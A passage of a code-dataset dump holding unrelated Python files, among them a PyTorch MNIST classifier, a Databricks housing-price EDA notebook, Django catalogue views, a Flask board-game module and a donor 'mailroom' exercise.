idx]\n except (ValueError, KeyError):\n continue\n if super().__contains__(key_mirror):\n reverse = not reverse\n key = key_mirror\n if reverse:\n key = key + '_r'\n return key\n\n\n# Initialize databases\n_init_color_database()\n_cmap_database = _init_cmap_database()\n","sub_path":"proplot/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":102599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"109591933","text":"from multiprocessing import Pool\nimport time\nimport os\n\ndef work():#子进程要执行的逻辑\n for i in range(3):\n time.sleep(1)\n print(\"我是老王pid=%d\"%os.getpid())\n\n\np = Pool(3)#最大装3个进程\n\n\nfor i in range(6):\n p.apply_async(work)#非阻塞添加进程\n #p.apply(work)#阻塞添加进程\np.close()#关闭池子\np.join()#开启子进程\n \n\n\n","sub_path":"14day/08-用进程池的方式创建进程2.py","file_name":"08-用进程池的方式创建进程2.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"209794958","text":"\nimport plotly\nimport plotly.graph_objs as go\n\n\ndef moving_average_plot(df):\n df['Close: 7 Day Mean'] = df['close'].rolling(window=7).mean()\n df['Close: 14 Day Mean'] = df['close'].rolling(window=14).mean()\n\n trace_high = go.Scatter(\n x=df.index,\n y=df['Close: 7 Day Mean'],\n name=\"7 Day Mean\",\n line=dict(color='#17BECF'),\n opacity=0.8)\n\n trace_low = go.Scatter(\n x=df.index,\n y=df['Close: 14 Day Mean'],\n name=\"14 Day Mean\",\n line=dict(color='#7F7F7F'),\n opacity=0.8)\n\n data = [trace_high, trace_low]\n layout = go.Layout(title='Moving Average',\n yaxis=go.layout.YAxis(automargin=True))\n div2 = plotly.offline.plot({\"data\": data,\n \"layout\": layout},\n include_plotlyjs=False,\n output_type='div',\n link_text=\"\",\n show_link=\"False\")\n\n return div2\n","sub_path":"src/common/moving_average_plot.py","file_name":"moving_average_plot.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"535974042","text":"#!/usr/bin/python\n\nimport Cookie\nimport os\nimport re\n\n\n_gSupportedLans = ['eng','mal']\n\n\ndef getsupportedLanguages():\n return _gSupportedLans\n\ndef getLocText(langId, key):\n lang=\"\"\n if langId == \"eng\":\n lang=\"eng\"\n elif langId == \"mal\":\n lang=\"mal\"\n else:\n lang = \"eng\"\n \n fname = lang+\".properties\"\n f=open(fname,\"r\")\n\n for line in f:\n fullstr=line.strip()\n if fullstr == \"\" or fullstr[0] == '#':\n continue\n a,b=fullstr.split(\"=\")\n if a.strip() == key:\n break\n f.close()\n return b\n \ndef getLocalTextList(langId, key):\n vals = getLocText(langId, key)\n strs = vals.split(';')\n ret = []\n for val in strs:\n ret.append(val.strip())\n return ret\n\n# This function returns true if the language is set from the \n# url, else returns false\ndef setlangId(fsForm):\n key = \"langid\"\n if key in fsForm:\n val = fsForm.getvalue(key)\n return True\n C = Cookie.SimpleCookie()\n if os.environ.has_key('HTTP_COOKIE'):\n C.load(os.environ['HTTP_COOKIE'])\n if key in C:\n val = C[key].value\n return False\n return False\n\n\n\n","sub_path":"CGI-Executables/languageScr.py","file_name":"languageScr.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"359010050","text":"import preprocessing as pp\nimport m2_prepare_data as pd\nimport logging\nimport sys\nfrom keras.models import model_from_json\nimport numpy as np\nimport shutil\n\ndef testModel(test_data, test_data_results, test_data_count):\n results = test_data_results[:,:-2,:] * test_data[:,1:-1,:]\n probs = []\n for one_seq in results:\n probs.append(np.prod(one_seq[np.nonzero(one_seq)]))\n\n winners = 0\n losers = 0\n inconclusive = 0\n\n last_it = 0\n for it in test_data_count:\n tmp_sample = probs[last_it : last_it + it]\n last_it = last_it + it\n best_probs = np.argwhere(tmp_sample == np.amax(tmp_sample)).flatten().tolist()\n if 0 in best_probs:\n if len(best_probs) == 1:\n winners += 1\n else:\n inconclusive += 1\n else:\n losers += 1\n \n return winners, losers, inconclusive, len(test_data_count)\n\ndef printFinalResults(winners, losers, inconclusive, sample_size):\n accu = round(float(winners) / sample_size* 100, 2)\n almost = round(float(inconclusive) / sample_size * 100, 2)\n lost = round(float(losers) / sample_size * 100, 2)\n\n logging.info('Accuracy of this model is: {0}%, {1}% of probs where inconclusive. Losers formed: {2}%.'.format(accu, almost, lost))\n \n\n\ndef main(argv):\n logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n\n data_file_name = argv[1]\n dict_file_name = argv[2]\n working_dir = argv[3]\n seq_max_len = int(argv[4])\n sufix_len = int(argv[5])\n batch_size = 2304\n it_size = batch_size \n\n logging.info('Reading model...')\n model_file = open(working_dir + 'model.json', 'r')\n json_model = model_file.read()\n model = model_from_json(json_model)\n\n logging.info('Reading weights...')\n model.load_weights(working_dir + 'weights.h5')\n\n dictionary = pp.read_gzip_data(dict_file_name)\n\n data = pp.read_gzip_data(data_file_name)\n test_data, test_data_count = pp.prepareTestData(data_file_name)\n\n test_data = pd.prepareData(test_data, seq_max_len, dictionary, sufix_len)\n pp.save_gzip_data(working_dir + 'test_data.txt.gz', test_data) \n test_data = pp.convertDataToKerasFormat(test_data, seq_max_len, dictionary)\n\n logging.info('Testing model on data...')\n full_size = len(test_data) \n it = 0\n res_win = 0\n res_los = 0\n res_inc = 0\n res_all = 0\n it_count = 0\n while it < full_size:\n starting_it_count = it_count\n it2 = it\n for one_count in range(it_count, len(test_data_count)):\n if it2 + test_data_count[one_count] > min(full_size, it + it_size):\n break\n else:\n it_count += 1\n it2 += test_data_count[one_count]\n tmp_test_data = test_data[it : it2]\n tmp_test_data_count = test_data_count[starting_it_count : it_count]\n tmp_results = model.predict_proba(tmp_test_data, batch_size = batch_size)\n win, los, inc, al = testModel(tmp_test_data, tmp_results, tmp_test_data_count)\n res_win += win\n res_los += los\n res_inc += inc\n res_all += al\n it = it2 \n\n printFinalResults(res_win, res_los, res_inc, res_all)\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","sub_path":"keras/m3_test.py","file_name":"m3_test.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"433225509","text":"from nirvana.utils.distributions.ecdf import ECDF\nimport numpy as np\n\n\nclass KSTest:\n \"\"\"\n Kolmogorov-Smirnov similarity test\n \"\"\"\n def __call__(self, ecdf0: ECDF, ecdf1: ECDF):\n assert isinstance(ecdf0, ECDF)\n assert isinstance(ecdf1, ECDF)\n X = np.concatenate((ecdf0.source_x, ecdf1.source_x))\n X.sort()\n Dn = 0\n for x in X:\n D = abs(ecdf0(x) - ecdf1(x))\n if D > Dn: Dn = D\n return Dn\n","sub_path":"mscdiploma/utils/distributions/ks_test.py","file_name":"ks_test.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"280164462","text":"from random import random, randrange, shuffle, uniform, randint, choice\r\n\r\n# print(dir(random)) - Kütüphanenin içine bakmamızı sağlar.\r\n\r\n# Number Affiliated\r\n# 0-1 arasında float.\r\nresult = random()\r\n\r\n# float.\r\nresult = uniform(0, 100)\r\n\r\n# integer, right boundary does not included.\r\nresult = randrange(86, 87) \r\n\r\n# integer, right boundary does included.\r\nresult = randint(86, 87)\r\n\r\n# List Affiliated\r\nliste = [True, False, 17, 7, \"Hello!\", \"Hi!\"]\r\n\r\n# random selection.\r\nresult = choice(liste)\r\n\r\n# shuffles the list.\r\nshuffle(liste)\r\nprint(liste)","sub_path":"src/Libraries/Random.py","file_name":"Random.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"597786150","text":"# To add a new cell, type '\n# To add a new markdown cell, type [markdown]'\n#from IPython import get_ipython\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport torch.nn.functional as F\n\n\nimport torchvision.datasets as dsets\nimport torchvision.transforms as transforms\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n#get_ipython().run_line_magic('matplotlib', 'inline')\n\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\nimage_size = 28 # the size of image is 28*28\nnum_classes = 10 # the number of all classes\nnum_epochs = 20 # the number of all epoches\nbatch_size = 64 # a mini batch,64 images\nlearning_rate=0.001\n\n\ntrain_dataset = dsets.MNIST(root = './data',\n train=True,\n transform=transforms.ToTensor(),\n download=True)\n\n\ntest_dataset = dsets.MNIST(root='./data',\n train=False,\n transform=transforms.ToTensor())\n\n\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=batch_size,\n shuffle=True)\n\n\nindices = range(len(test_dataset))\nindices_val = indices[:5000]\nindices_test = indices[5000:]\n\n\nsampler_val = torch.utils.data.sampler.SubsetRandomSampler(indices_val)\nsampler_test = torch.utils.data.sampler.SubsetRandomSampler(indices_test)\n\n\nvalidation_loader = torch.utils.data.DataLoader(dataset = test_dataset,\n batch_size = batch_size,\n shuffle = False,\n sampler = sampler_val)\ntest_loader = torch.utils.data.DataLoader(dataset = test_dataset,\n batch_size = batch_size,\n shuffle= False,\n sampler=sampler_test) \n\n\nclass ConvNet(nn.Module):\n def __init__(self,num_classes=10):\n super(ConvNet, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(1,16,kernel_size=5,stride=1,padding=2),\n nn.BatchNorm2d(16),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2,stride=2)\n )\n self.layer2 = nn.Sequential(\n nn.Conv2d(16,32,kernel_size=5,stride=1,padding=2),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2,stride=2)\n )\n self.fc = nn.Linear(7*7*32,num_classes)\n \n def forward(self,x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = out.reshape(out.size(0),-1)\n out = self.fc(out)\n return out\n\n\nmodel = ConvNet(num_classes).to(device)\n\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(model.parameters(),lr=learning_rate)\n\n\ntotal_step = len(train_loader)\nfor epoch in range(num_epochs):\n for i,(images,labels) in enumerate(train_loader):\n images = images.to(device)\n labels = labels.to(device)\n\n outputs =model(images)\n loss = criterion(outputs,labels)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if (i+1)%100 == 0:\n print('Epoch [{}/{}], Step [{}/{}], Loss:{:.4f}'.format(epoch+1,num_epochs,i+1,total_step,loss.item()))\n\n\nmodel.eval()\n\n\nwith torch.no_grad():\n correct = 0\n total = 0\n for images,labels in test_loader:\n images = images.to(device)\n labels = labels.to(device)\n outputs = model(images)\n _, predicted = torch.max(outputs.data,1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n print('Test Accuracy of the model on the 10000 test images: {} %'.format(100*correct/total))\n\n\ntorch.save(model.state_dict(),'model.ckpt')\n\n\n","sub_path":"AI/pytorch/MNIST/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":3944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"244719233","text":"# Databricks notebook source\n# MAGIC %run ./00_setup\n\n# COMMAND ----------\n\n# MAGIC %md ## Load & Examine the data\n# MAGIC What do we want to do here: \n# MAGIC - Load data from Delta\n# MAGIC - Register our Spark Dataframe as a temporary view to run SQL.\n# MAGIC - Run some visualisations on it.\n\n# COMMAND ----------\n\ndf = spark.read.format('delta').load('/demo/ML/boston_house_price')\ndf.createOrReplaceTempView('boston_house_price')\n\n# COMMAND ----------\n\n# MAGIC %md \n# MAGIC \n# MAGIC ### Data Dictionary\n# MAGIC \n# MAGIC We will be predicting the price of a property using different attributes as we can see from the table below\n# MAGIC \n# MAGIC |Column|Description|\n# MAGIC |-----|-----|\n# MAGIC |BRIM|per capita crime rate by town.|\n# MAGIC |ZN|proportion of residential land zoned for lots over 25,000 sq.ft.|\n# MAGIC |INDUS|proportion of non-retail business acres per town.|\n# MAGIC |CHAS|Charles River dummy variable (= 1 if tract bounds river; 0 otherwise).|\n# MAGIC |NOX|nitrogen oxides concentration (parts per 10 million).|\n# MAGIC |RM|average number of rooms per dwelling.|\n# MAGIC |AGE|proportion of owner-occupied units built prior to 1940.|\n# MAGIC |DIS|weighted mean of distances to five Boston employment centres.|\n# MAGIC |RAD|index of accessibility to radial highways.|\n# MAGIC |TAX|full-value property-tax rate per $10,000.|\n# MAGIC |PTRATIO|pupil-teacher ratio by town.|\n# MAGIC |B|1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town.|\n# MAGIC |LSTAT|lower status of the population (percent).|\n\n# COMMAND ----------\n\n# MAGIC %sql\n# MAGIC select * from boston_house_price\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Inspect the Dataset\n# MAGIC We can use both native and external visulisation libraries to help us get a better understanding of the data\n\n# COMMAND ----------\n\n# DBTITLE 1,2 Way Scatter Plot\n# MAGIC %sql\n# MAGIC select * from boston_house_price\n\n# COMMAND ----------\n\n# DBTITLE 1,Histogram\ndf = df.toPandas()\n\n# display works with Pandas & Spark alike\ndisplay(df)\n\n# COMMAND ----------\n\n# DBTITLE 1,Correlation Matrix (using seaborn)\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nplt.figure(figsize=(7, 7))\ndisplay(sns.heatmap(df.corr(), cbar=True, square=True, fmt='.1f', annot=True, annot_kws={'size': 10}, cmap='Greens'))\n\n# COMMAND ----------\n\n# DBTITLE 1,Scaled Scatter Plot (using Plotly)\nimport pandas as pd\nimport plotly.express as px\n\ndf_scaled = df / df.max()\n\ndf_scaled_melt = pd.melt(\n df_scaled,\n id_vars=['PRICE'],\n value_vars=['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO', 'B', 'LSTAT'],\n var_name=['FEATURE'],\n value_name='NORM_VALUE'\n)\n\nfig = px.scatter(\n df_scaled_melt, \n x='PRICE', \n y='NORM_VALUE', \n color='FEATURE', \n hover_data=['FEATURE'], \n opacity=0.3, \n trendline='lowess', \n size_max=10\n)\nfig.show()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC Now we have some basic understanding of the data, let's build some ML models using the next [notebook]($./02_machine_learning).","sub_path":"Databricks Bootcamp/Data Science Workshop/01_exploratory_data_analysis.py","file_name":"01_exploratory_data_analysis.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"549380593","text":"from django.core.context_processors import request\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, render_to_response\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom procat.forms import CategoryForm, ProductsForm\nfrom procat.models import Category, Products\n\n\ndef index(request): \n return render_to_response('index.html')\n\ndef showCat(request,arg={}):\n cats = Category.objects.all() \n catform = CategoryForm()\n context = {\n 'request':showRequest(request),\n 'catList':cats, \n 'catform':catform,\n }\n if arg:context.update(arg) \n return render_to_response('catManage.html',context)\n\ndef addCat(request):\n if request.method =='POST':\n catform = CategoryForm(request.POST,request.FILES)\n has_saved = False \n if catform.is_valid(): \n try: \n c = Category( name= catform.cleaned_data['name'],\n img = request.FILES['img'])\n c.save()\n has_saved =True \n except KeyError:pass\n return showCat(request,{'result':has_saved})\n\n\ndef delCat(request):\n if request.method == 'POST': \n #if catform.is_valid(): \n c = Category.objects.get(id =request.POST.get('catId')) \n c.img.delete(save = True) \n c.delete() \n return showCat(request)\n\ndef addPro(request):\n if request.method == 'POST':\n proform = ProductsForm(request.POST, request.FILES) \n if proform.is_valid():print('data is valid') \n else :print('data isn \\' t valid')\n data = proform.cleaned_data\n print (data)\n p = Products(\n name=request.POST.get('productName'),\n price=request.POST.get('productPrice'),\n description=request.POST.get('productDescription'),\n img = request.FILES['img'],\n )\n p.save() \n print ('has saved !!') \n catList = request.POST.getlist('category')\n if catList:\n for i in catList:\n p.category.add(Category.objects.get(name=i)) \n \n return showPro(request, {})\n\n\ndef delPro(request):\n if request.method == 'POST':\n print('recieve POST ')\n proform = ProductsForm(request.POST)\n print ('created form')\n print('form is valid')\n p = Products.objects.get(id=request.POST.get('proId'))\n p.img.delete(save=True)\n p.delete() \n return showPro(request, {}) \n\n \n\n@csrf_exempt\ndef showPro(request,arg={}): \n pros = Products.objects.all()\n cats = Category.objects.all()\n pform = ProductsForm({'name':'somename','price':122,'description':'some description'})\n if request.GET.get('orderby',False): \n pros.order_by('')\n \n \n context = {'proList':pros,\n 'request':showRequest(request),\n 'catList':cats,\n 'pform':pform, \n } \n if arg:context.update(arg)\n return render_to_response('proManage.html',context)\n \n\n \n \n\ndef showRequest(request):\n html = []\n for k,v in request.POST.items(): \n html.append('%s ------->%s ' % (k,v))\n for k,v in request.GET.items() :\n html.append('%s >>>> %s' % (k,v)) \n for k,v in request.META.items():\n html.append('%s =====>%s ' % (k,v)) \n\n return html\n\n \n","sub_path":"procat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"25321237","text":"BOARD_WIDTH = 6\nBOARD_HEIGHT = 6\n# Revenue per square based on each square it's connected to\n# For example, if you have one square, and it's connected to three\n# squares of the same color, then that square generates $9\nREVENUE_CONST = 5\nBASE_REVENUE = 50\nCOST_EMPTY_SQUARE = 100\ndef COST_FILLED_SQUARE(numconnected):\n return 75+numconnected * 25\n\nDEFAULT_SQUARE = {\"color\":\"#B9B7A7\",\"name\":None}\n\nimport json\nfrom flask import session\nfrom boardgame.db import get_db\n\nfrom boardgame.colors import colors\n\ndef create_board(join_code):\n board = []\n for row in range(BOARD_WIDTH):\n board.append([])\n for col in range(BOARD_HEIGHT):\n board[row].append(DEFAULT_SQUARE)\n set_board(join_code, board)\n return board\n\ndef set_board(join_code, board):\n \"\"\"Given a board array, saves it to sql database\"\"\"\n json_board = json.dumps(board)\n db = get_db()\n db.execute('UPDATE game SET game_data = (%s) WHERE join_code = (%s)', (json_board, join_code))\n return json_board\n\ndef get_board(join_code):\n return json.loads(get_json_board(join_code))\n\ndef get_json_board(join_code):\n db = get_db()\n db.execute(\"SELECT game_data FROM game WHERE join_code = (%s)\", (join_code,))\n json_board = (db.fetchone())[\"game_data\"]\n return json_board\n\ndef set_square(join_code, i, j, player, player_initiated = False):\n board = get_board(join_code)\n new_color = colors[player[\"team\"]]\n old_color = board[i][j][\"color\"]\n if (player_initiated and new_color == old_color):\n return \"Your team already controls this square\"\n if( player_initiated and check_connected(join_code, i, j, new_color) < 1):\n return \"Square is not touching your color\"\n board[i][j] = {\"color\":new_color, \"name\": player[\"nickname\"]}\n set_board(join_code, board)\n\ndef get_default_square():\n return DEFAULT_SQUARE\n\ndef check_win(join_code):\n board = get_board(join_code)\n\n for row in range(board.length):\n for col in range(board[row].length):\n if (board[row][col] != board[0][0]):\n return False\n return True\n\ndef check_connected(join_code, i, j, color=None):\n board = get_board(join_code)\n if color == None:\n color = board[i][j][\"color\"]\n if color == DEFAULT_SQUARE[\"color\"]:\n return -1\n board = get_board(join_code)\n visited = [[False for i in row] for row in board]\n res = 0\n if(board[i][j][\"color\"] == color):\n res += 1\n res += check_connected_helper(board, i + 1, j, color, visited)\n res += check_connected_helper(board, i -1, j, color, visited)\n res += check_connected_helper(board, i, j+1, color, visited)\n res += check_connected_helper(board, i, j-1, color, visited)\n return res\n\ndef check_connected_helper(board, i, j, color, visited):\n if i < 0 or i >= len(visited) or j < 0 or j >= len(visited[0]):\n return 0\n if (visited[i][j] == True):\n return 0\n visited[i][j] = True\n if (board[i][j][\"color\"] != color):\n return 0\n res = 1\n res += check_connected_helper(board, i + 1, j, color, visited)\n res += check_connected_helper(board, i -1, j, color, visited)\n res += check_connected_helper(board, i, j+1, color, visited)\n res += check_connected_helper(board, i, j-1, color, visited)\n return res\n\ndef get_revenue(join_code, nickname):\n #Naive implementation but working set is small\n board = get_board(join_code)\n tot = 0\n for row in range(len(board)):\n for col in range(len(board[row])):\n if board[row][col][\"name\"] == nickname:\n tot += check_connected(join_code, row, col) * REVENUE_CONST + BASE_REVENUE\n return tot\n\n\ndef get_cost_of_square(i,j):\n cost = check_connected(session[\"join_code\"], i, j, None)\n if cost == -1:\n cost = COST_EMPTY_SQUARE\n else:\n # Otherwise does 30 times num of connected squares\n cost = COST_FILLED_SQUARE(cost)\n return cost\n\ndef get_min_cost():\n board = get_board(session[\"join_code\"])\n cost_list = []\n for row in range(len(board)):\n for col in range(len(board[row])):\n cost_list.append(get_cost_of_square(row, col))\n return min(cost_list)\n","sub_path":"boardgame/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"193286113","text":"import cv2\nimport torch\nimport torchvision\nimport os\nfrom torchvision.models.detection.rpn import AnchorGenerator\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\nfrom torchvision.models.detection import FasterRCNN\nimport math\nimport numpy as np\ndevice = torch.device('cuda:0')\n\nbackbone = torchvision.models.vgg16(pretrained=False).features\nbackbone.out_channels = 512\nanchor_sizes = ((8, 16, 32, 64, 128, 256, 512),)\naspect_ratios = ((1/2, 1/3, 1/4, 1/5, 1/6, 1/math.sqrt(2), 1,\n 2, math.sqrt(2), 3, 4, 5, 6, 7, 8),)\nanchor_generator = AnchorGenerator(\n sizes=anchor_sizes, aspect_ratios=aspect_ratios)\nroi_pooler = torchvision.ops.MultiScaleRoIAlign(featmap_names=['0', '1', '2', '3', '4'],\n output_size=7,\n sampling_ratio=2)\nmodel = FasterRCNN(backbone,\n num_classes=2,\n rpn_anchor_generator=anchor_generator,\n box_roi_pool=roi_pooler)\nmodel.load_state_dict(torch.load('1.pth'))\nmodel.to(device)\nmodel.eval()\n# real_img = cv2.imread(\n# '/home/dung/DocData/cp/145/110.png')\nreal_img = cv2.imread(\n '/home/dung/Project/Python/keras-frcnn/result/0_19_0.png')\nimg = torch.tensor(real_img, dtype=torch.float32)/255\nimg = img.permute((2, 0, 1))\n\noutput = model([img.to(device)])\n\nboxes = output[0]['boxes']\n\na = output[0]['boxes'].detach().to('cpu').numpy()\na = np.round(a)\nprint(output)\nfor (x0, y0, x1, y1) in a[:1]:\n cv2.rectangle(real_img, (x0, y0), (x1, y1), (100, 200, 150), 1, 1)\n # cv2.putText(real_img,)\ncv2.imshow('aaa', real_img)\ncv2.waitKey(0)\n","sub_path":"b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"39991355","text":"#!/usr/bin/env python3\n\"\"\"\n$ chmod +x mailroom_part3.py\n\"\"\"\nimport datetime\nimport os\n\nDONORS_DICT = {\"William Gates\": [326892.24, 122, 22, 12],\n \"Mark Zuckerberg\": [30, 60, 65982.55],\n \"Jeff Bezos\": [52636.27],\n \"Paul Allen\": [877.33, 22],\n \"Steven Hawking\": [326892.24, 123, 123.33, 123, 123],\n \"Justin Timberlake\": [999658.25, 1233, 123]}\n\n# Menus\n\n\ndef menu_selection(prompt, dispatch_dict):\n \"\"\"menu function\"\"\"\n try:\n while True: # loop forever until they quit\n response = input(prompt)\n if dispatch_dict[response]() == \"exit menu\":\n break\n except KeyError:\n print(\"Invalid input, quitting program\")\n\n\ndef single_print_sub_menu():\n '''Sub Menu for Print single Thank you menu'''\n menu_selection(SINGLE_PRINT_SUB_PROMPT, SINGLE_PRINT_SUB_DISPACTH)\n\n\ndef quit_menu():\n '''Quit menu function and method'''\n print(\"Quitting this menu now\")\n return \"exit menu\"\n\n\n# functions for prompts ----\n\ndef get_name_input():\n ''' Function to select user input to return to print function'''\n name_input = input(\n \"Please enter the name of the donor: \")\n\n for donor, donations in DONORS_DICT.items():\n if name_input.lower() in donor.lower():\n donor_check = input(\n \"Is this the donor you are looking for: {}?\\nPlease type yes or no >> \".format(\n donor))\n if donor_check == 'yes':\n return donor\n\n print(\"{} is not in our records. Let's add {} to our list!\".format(\n name_input, name_input))\n while True:\n new_donor_name = input(\n \"Please enter the full name of the donor or type 'exit' to quit>> \")\n if new_donor_name == 'exit':\n return \"quit\"\n name_check = input(\n \"Does the spelling look right: {}?\\nPlease type yes or no >> \".format(new_donor_name))\n if name_check == 'yes':\n print(\"Adding {} to donor list\".format(new_donor_name))\n return new_donor_name\n elif name_check == 'exit':\n return \"quit\"\n else: # anything other then yes\n print(\n \"Let's try entering the donor name again. Or type 'exit' to quit to menu.\")\n\n\ndef send_single_thank_you():\n \"\"\" function for sending thank you message - gets/ adds single donation and prints thank you\"\"\"\n donor_name = get_name_input()\n if donor_name == \"quit\":\n print(\"No donor name entered, exiting to menu\")\n else:\n donor_amount = check_number_input()\n\n DONORS_DICT.setdefault(donor_name, []).append(donor_amount)\n\n thank_you_letter = print_thank_you(donor_name, donor_amount)\n print(thank_you_letter)\n\n\ndef print_donors_names():\n \"\"\" prints list of donors\"\"\"\n print(\"\\nDonors\")\n print(\"-\"*20)\n [print(d, \"\\n\") for d in DONORS_DICT]\n # for d in DONORS_DICT:\n # print(d)\n\n\ndef print_donors_and_donations():\n print(\"\\nDonors and donations\")\n print(\"-\"*30, \"\\n\")\n [print(key, \"=>\", val, '\\n') for key, val in DONORS_DICT.items()]\n # for key, val in DONORS_DICT.items():\n # print(key, \"=>\", val)\n\n\ndef check_number_input():\n '''Error Handling: Checks if number was entered by converting the number to a float'''\n while True:\n try:\n number = float(input('Please enter a donation amount : '))\n except ValueError:\n print(\"Please enter a number for donation amount!\")\n else:\n return number\n\n\ndef print_thank_you(donor_name, amount):\n \"\"\" prints thank you message\"\"\"\n thank_you = '\\nDear {},\\n '.format(donor_name)\n thank_you += '\\tThank you for your generous donation of ${:,.2f}\\n'.format(\n amount)\n thank_you += 'Sincerely, \\nThe ChickTech Donations Department\\n'\n return thank_you\n\n\ndef print_thank_you_total(donor):\n \"\"\" prints thank you message\"\"\"\n donor_output = {\"name\": donor}\n all_donations = DONORS_DICT[donor]\n donor_output['last_donation'] = all_donations[- 1]\n total = sum(all_donations)\n donor_output['total_donations'] = total\n thank_you = '''\\nDear {name} \\n\n \\t Thank you for your most recent generous donation of ${last_donation:,.2f}\n \\t You're support of {total_donations} over the years has helped us fund many great programs!\n \\t Again, thank you! We love your support.\n Sincerely,\n \\n The ChickTech Donations Department\\n\n '''.format(**donor_output)\n return thank_you\n\n\ndef print_report():\n \"\"\"Print report to match example from assignment for donor list \"\"\"\n print()\n title = ['Donor Name', '| Total Given ', '| Num Gifts',\n ' | Average Gift']\n print('{:<20}{:>14}{:^14}{:>14}'.format(title[0], title[1],\n title[2], title[3]))\n print('-'*65)\n print()\n # Creating list to hold donors info for printing\n donor_list = list()\n for donor, donations in DONORS_DICT.items():\n # donor object will hold fullname, donation total, donation times, average donation\n donor_info = [donor, 0, 0, 0]\n donor_info[1] = sum(donations)\n donor_info[2] = len(donations)\n donor_info[3] = donor_info[1] // donor_info[2]\n donor_list.append(donor_info)\n\n print('{:<22}{}{:>12.2f}{:>10}{:>8}{:>12.2f}'.format(donor, '$',\n donor_info[1], donor_info[2],\n '$', donor_info[3]))\n print()\n\n\ndef send_letters_everyone():\n \"\"\"Creates a letter for everyone in the database, and writes them to file.\"\"\"\n letters_count = 0\n date = datetime.datetime.now()\n new_folder = date.strftime(\"%Y-%m-%d_%H-%M\")\n try:\n os.mkdir(new_folder)\n except OSError:\n print(\"\\nError with directory creation.Something must have gone wrong!\\n\")\n return\n for donor, donation in DONORS_DICT.items():\n # create file in date folder titled with donor name\n filename = \"./{}/{}.txt\".format(new_folder, donor)\n with open(filename, 'w') as donor_thanks:\n letter_output = print_thank_you_total(donor)\n donor_thanks.write(letter_output)\n letters_count += 1\n print(\"Created {} Thank You letters in this folder: {}\".format(\n letters_count, new_folder))\n\n\n#------Needs to be after the functions or code won't work. -------\nMAIN_PROMPT = (\"\\nWelcome to the Mailroom App\\n\"\n \"Options Menu:\\n\"\n '\\t1. Send a Single Thank You\\n'\n '\\t2. Create a Report\\n'\n '\\t3. Send Letters to Everyone\\n'\n '\\tq. Quit Program\\n'\n \"Type 1,2,3, or q to exit >> \")\n\nMAIN_DISPATCH = {\"1\": single_print_sub_menu,\n \"2\": print_report,\n \"3\": send_letters_everyone,\n \"q\": quit_menu, }\n\nSINGLE_PRINT_SUB_PROMPT = (\"\\nWelcome to the Send A Thank You Menu:\\n\"\n \"How would you like to find a donor: \\n\"\n '\\t1. Lookup Donor By Name \\n'\n '\\t2. Print List of donors\\n'\n '\\t3. Print Donors list with donations\\n'\n \"Type 1,2,3 or q to return to main menu >>> \")\n\nSINGLE_PRINT_SUB_DISPACTH = {\"1\": send_single_thank_you,\n \"2\": print_donors_names,\n \"3\": print_donors_and_donations,\n \"q\": quit_menu, }\n\nif __name__ == '__main__':\n while True:\n menu_selection(MAIN_PROMPT, MAIN_DISPATCH)\n","sub_path":"students/TinaB/lesson05/mailroom_part3.py","file_name":"mailroom_part3.py","file_ext":"py","file_size_in_byte":7667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"439612617","text":"from django.contrib.auth import authenticate, login as auth_login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.files.storage import FileSystemStorage\nfrom django.core.paginator import Paginator, EmptyPage, 